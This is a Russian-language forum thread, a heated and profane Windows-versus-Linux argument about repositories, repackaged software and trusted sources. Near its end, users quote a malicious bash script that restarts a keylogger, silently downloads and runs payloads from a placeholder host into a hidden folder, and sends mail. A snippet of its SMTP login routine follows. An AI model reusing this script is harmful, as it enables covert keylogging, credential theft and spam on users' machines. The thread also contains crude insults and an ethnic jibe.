Сравним по количеству программ с репозиторием бубунты?
xD Отжиг засчитан. Если уж Вы решили сравнивать количество софта от MS с количеством софта, который перепаковали под своё поделие бубунтоводы бубунторепов? Значит, геморрой с "перепаковкой" - это то ещё развлечение.
А не хотите лучше сравнить общее количество доступного под винду и под убунту софта? )
Или, может быть, Вы хотите меня обвинить в том, что я призываю ставить всё только с сайта MS?..
Нет, это ваши линуксячьи костыли, я просто показал, что, если пользоваться вашими же анальными заборами, то у нас вирусни тоже не будет.
Кста-а-а-а-а-ати... Я что-то забыл упомянуть в предыдущем посте, чем Вы и воспользовались...
NEMO пишет:А где достать те продукты, которые недоступны для свободного скачивания?
Купить на сайте производителя или официального дистрибьютора. Как пример:https://www.corel.com/corel/product/inde … ageCode=en
Вот на таких условиях количество доступного софта посчитать не желаете?
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
По поводу Tritus'а та же ситуация: если бы он не ляпал языком про теорию и практику, ничего бы не было. И т.д.
Ляпаешь тут языком лишнее часто именно ты, на главной тебе по этому поводу уже писал в комментариях. Лучше помолчи, практик.
Неактивен
В репозитории бубунты софт влазит на 1 DVD, как выяснилось.
Кем выяснилось и каким образом? А то у меня выяснилось что для Альтовского репозитория под одну архитектуру требуется десяток DVD, а у бубунты репозиторий куда как побольше.
Yesterday it worked.
Today it is not working.
Windows is like that.
Неактивен
выражаясь Вашим же языком, "анальная"
Apollo 11, не тупите, пожалуйста. На "моём языке" свобода анальной никогда не была, о чём я и написал.
Поскольку, как Вы и признали выше, рано или поздно за такую свободу анально покарают.
А это зависит от того, как Вы оной свободой воспользуетесь. О.о Я же специально написал:
который Вам хочется
а не "весь подряд".
А вот подход линукс-дистроваятелей изрядно анально огораживает. "Вы должны хотеть запускать только подмножество того, что мы перепаковали и сложили в репы". Жесть же. Представляете сосиски, которые можно покупать только после того, как Ваш ДЕЗ их перепаковал? Бр-р-р-р-р-р.
Редактировался Белая рысь (14-10-12 15:08:01)
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
Кем выяснилось и каким образом? А то у меня выяснилось что для Альтовского репозитория под одну архитектуру требуется десяток DVD, а у бубунты репозиторий куда как побольше.
Выше выкладывал ссылку на торрент со срезом репозитория. Посмотреть размер - не проблема.
Неактивен
А не хотите лучше сравнить общее количество доступного под винду и под убунту софта?
По моему разговор шёл конкретно про репозитории?
Yesterday it worked.
Today it is not working.
Windows is like that.
Неактивен
По моему разговор шёл конкретно про репозитории?
Я что-то забыл упомянуть в предыдущем посте, чем Вы и воспользовались...
Не корчите из себя идиота, Вы уже спалились на предмет наличия мозга. Выше шла речь про доверенные источники, и, если я забыл упомянуть оффсайты (которые, кста, не раз упоминались в этом же треде), это не повод придираться к оному прискорбному факту ещё страниц 5.
Редактировался Белая рысь (14-10-12 15:07:09)
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
Выше выкладывал ссылку на торрент со срезом репозитория.
Всего или каких вырезок из него?
Yesterday it worked.
Today it is not working.
Windows is like that.
Неактивен
Не корчите из себя идиота, Вы уже спалились на предмет наличия мозга. Выше шла речь про доверенные источники, и, если я забыл упомянуть оффсайты (которые, кста, не раз упоминался в этом же треде), это не повод придираться к оному прискорбному факту ещё страниц 5.
Разве Вы ещё не привыкли к подобной манере ведения дискуссии? Прицепиться к какому-нибудь предложению, постараться исказить его смысл и обсасывать это по полдня - это отнюдь не ново...
Неактивен
Нет, это ваши линуксячьи костыли
Репозитории - это костыли? О_о
Неактивен
Прицепиться к какому-нибудь предложению, постараться исказить его смысл и обсасывать это по полдня - это отнюдь не ново...
Да вот, пытаюсь образумить этих остолопов великовозрастных... Хочется же пообщаться культурно, а не говна на вентилятор понавбрасывать...
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
Неактивен
Репозитории - это костыли? О_о
Ага (ссылка). Когда ссылка с репа всегда будет вести на сайт разработчика, а не на перепакованную неведомым образом хуйню - я с Вами на эту тему пообщаюсь ещё раз, а пока лучше даже не упоминайте.
И туда же:
Мало того, что у программы есть разработчик, так ещё и практически в каждом дистрибутиве у программы есть мантейнер, который перепаковывает приложения согласно спецификациям дистрибутива. Вы знаете, на нормальном языке, это называется словом "заниматься дурью". В Linux один пишет код, а десятки других - перепаковывают, замечательно ребята проводят время, параллельно делая одну и ту же работу. Причём, сменилась версия дистрибутива - перепаковывай заново, а если что-то новое вышло, то для старой версии надо делать специально backport. Таким образом усилия разработчиков Linux распыляются между десятками дистрибутивов, ненужных портов и форков.
Редактировался Белая рысь (14-10-12 15:18:41)
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
я с Вами на эту тему пообщаюсь ещё раз, а пока лучше даже не упоминайте.
У вас волчанка синдром д'артаньяна. Таки вас кто-то заставляет пользоваться убунтой и репозиториями? Можете юзать LFS и компилировать мир долгими зимними вечерами.
Неактивен
Можете юзать LFS и компилировать мир долгими зимними вечерами.
Все репы, которыми тут так кичится ikkunan salvataja, пропадут бай дизайн. Так что не катит. )
А я, пожалуй, на винде останусь, тут и без репов с софтом неплохо, перепаковывать никому ничего не надо.
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
Список пакетов там есть, плюс ещё добавлена отсебятина со сторонних репозиториев и ещё что-то. И всё это на одном DVD.
И это все пакеты из официального репозитория бубунты или в репозиториях ещё пакеты есть? А то я ведь тоже могу джентельменский набор из репов выдернуть и на один DVD выложить.
Yesterday it worked.
Today it is not working.
Windows is like that.
Неактивен
И это все пакеты из официального репозитория бубунты или в репозиториях ещё пакеты есть?
https://packages.ubuntu.com/lucid/allpac … mat=txt.gz - сравнивайте, если есть желание.
Неактивен
Мало того, что у программы есть разработчик, так ещё и практически в каждом дистрибутиве у программы есть мантейнер, который перепаковывает приложения согласно спецификациям дистрибутива.
Вы машину будете бензином заправлять, или сами будете качать нефть/строить нефтеперерабатывающий завод/гнать бензин? А то нужно доверять лукойлу . А вообще, это вопрос удобства линукса: можно обновить софт одной командой, подключать нестабильные репозитории, легко откатиться до стабильного состояния путем отключения репозитория. В ХР можно иметь ИЕ9 и прямой Х 11? А в лине можно в убунте 12.04 иметь ядро 3.5, месу 9.1 и интел дрова 2.20.9 без переустановки и плясок
Неактивен
Нет, я понимаю, что на 47 странице срача обсуждения об этом уже никто не помнит, но, тем не менее, основная тема ветки скатилась во вполне ожидаемое "а вот у вас в винде"... xD
Для Director-cemetery: Пока не почешетесь извиниться, Ваши комментарии буду игнорировать.
Для Rector: В дальнейшем буду Вас просто игнорировать.
Неактивен
И это все пакеты из официального репозитория бубунты или в репозиториях ещё пакеты есть? А то я ведь тоже могу джентельменский набор из репов выдернуть и на один DVD выложить.
Согласен, там не полный срез. Полный занимает 16 Гигабайт с копейками. Ну это сути по большому счёту не меняет.
Неактивен
оно и в самом деле не работает и работать не может.
Тюююююю.... Баш сначала асиль, списиалист хуев
База сама по себе сплошной скрипт (с) AleksK
При том, что свежие очевидно работают лучше и исправляют некоторые глюки. А в линуксе они (глюки!!!)ещё и становятся нормальными (c) Журнашлюшка
Неактивен
На "моём языке" свобода анальной никогда не была, о чём я и написал.
Свобода, может быть, и не была анальной, а вот последствия такой свободы — вполне.
а не "весь подряд".
Чем это отличается от моего определения свободы как сознательного самоограничения?
А вот подход линукс-дистроваятелей изрядно анально огораживает. "Вы должны хотеть запускать только подмножество того, что мы перепаковали и сложили в репы". Жесть же.
Не замечал. Скорее, наоборот: есть проверенный софт в репозиториях, есть возможность подключить левые репы, есть возможность установить софт, скачанный с сайта разработчика. В чём "анальное огораживание"?
Представляете сосиски, которые можно покупать только после того, как Ваш ДЕЗ их перепаковал?
Ну, давайте, я продолжу аналогию: в Linux'е у Вас есть возможность покупать сосиски в доверенном месте, где гарантируется их качество; возможность купить сосиски в любом магазине; и возможность подобрать их с ближайшей помойки. В Windows у Вас есть возможность купить сосиски в любом магазине и возможность подобрать их с ближайшей помойки.
Таки вас кто-то заставляет пользоваться убунтой и репозиториями? Можете юзать LFS и компилировать мир долгими зимними вечерами.
Зачем же так радикально? Можно взять дистрибутив, в котором комбинируется софт из репозиториев, софт в пользовательском репозитории (AUR), сорцы которого качаются с сайта разработчика, а можно воспользоваться системой сборки (ABC) и самому собирать пакеты с нужными параметрами.
Баш сначала асиль, списиалист хуев
Что ещё должны осилить линуксоиды, чтобы твоя поделка у них заработала? Машинный код?
Неактивен
Что ещё должны осилить линуксоиды, чтобы твоя поделка у них заработала? Машинный код?
Для начала просто надо не путать списиалистам elf файл с скриптом на баше Но вам татарам списиалистам хуевым всё равно, что чай пить, что бабу ебать, один х*й линупс ни при чём
Редактировался selenscy (14-10-12 16:35:06)
База сама по себе сплошной скрипт (с) AleksK
При том, что свежие очевидно работают лучше и исправляют некоторые глюки. А в линуксе они (глюки!!!)ещё и становятся нормальными (c) Журнашлюшка
Неактивен
Для начала просто надо не путать списиалистам elf файл с скриптом на баше
Ты утверждаешь, что вот это:
#!/bin/bash
logk=`ps -A|grep logk|wc -l`
if [[ "$logk" -ge "1" ]] ; then
/папка где шкеримся/logk -k
fi
wget -q -t 1 -N -nd https://некий сайтец/conf -P /папка где шкеримся/
wget -q -t 1 -N -nd https://некий сайтец/spam -P /папка где шкеримся/
wget -q -t 1 -N -nd https://некий сайтец/engine -P /папка где шкеримся/
wget -q -t 1 -N -nd https://некий сайтец/sys -P /папка где шкеримся/
/папка где шкеримся/./sys
/папка где шкеримся/./mailsend2
size=`du -b /usr/lib/engine/keys | awk '{print $1}'`
if [[ "$size" -ge "8192" ]] ; then
rm -f /папка где шкеримся/keys
/папка где шкеримся/logk -s -o /папка где шкеримся/keys --no-func-keys
echo $file1
exit 0
fi
/папка где шкеримся/logk -s -o /папка где шкеримся/keys --no-func-keys
elf-файл? Или утверждаешь, что он будет работать?
Неактивен
elf-файл? Или утверждаешь, что он будет работать?
ЫЫЫЫЫЫЫ!!!
Это оно: read -r temp <&9
echo "auth login" >&9
read -r temp <&9
echo $e_login >&9
read -r temp <&9
echo $e_pass >&9
read -r temp <&9????
Ты вот так дубина стоеросовая будешь весь скрипт перебирать? А? Списиалист хуев, "гуру" баша
Редактировался selenscy (14-10-12 16:42:41)
База сама по себе сплошной скрипт (с) AleksK
При том, что свежие очевидно работают лучше и исправляют некоторые глюки. А в линуксе они (глюки!!!)ещё и становятся нормальными (c) Журнашлюшка
Неактивен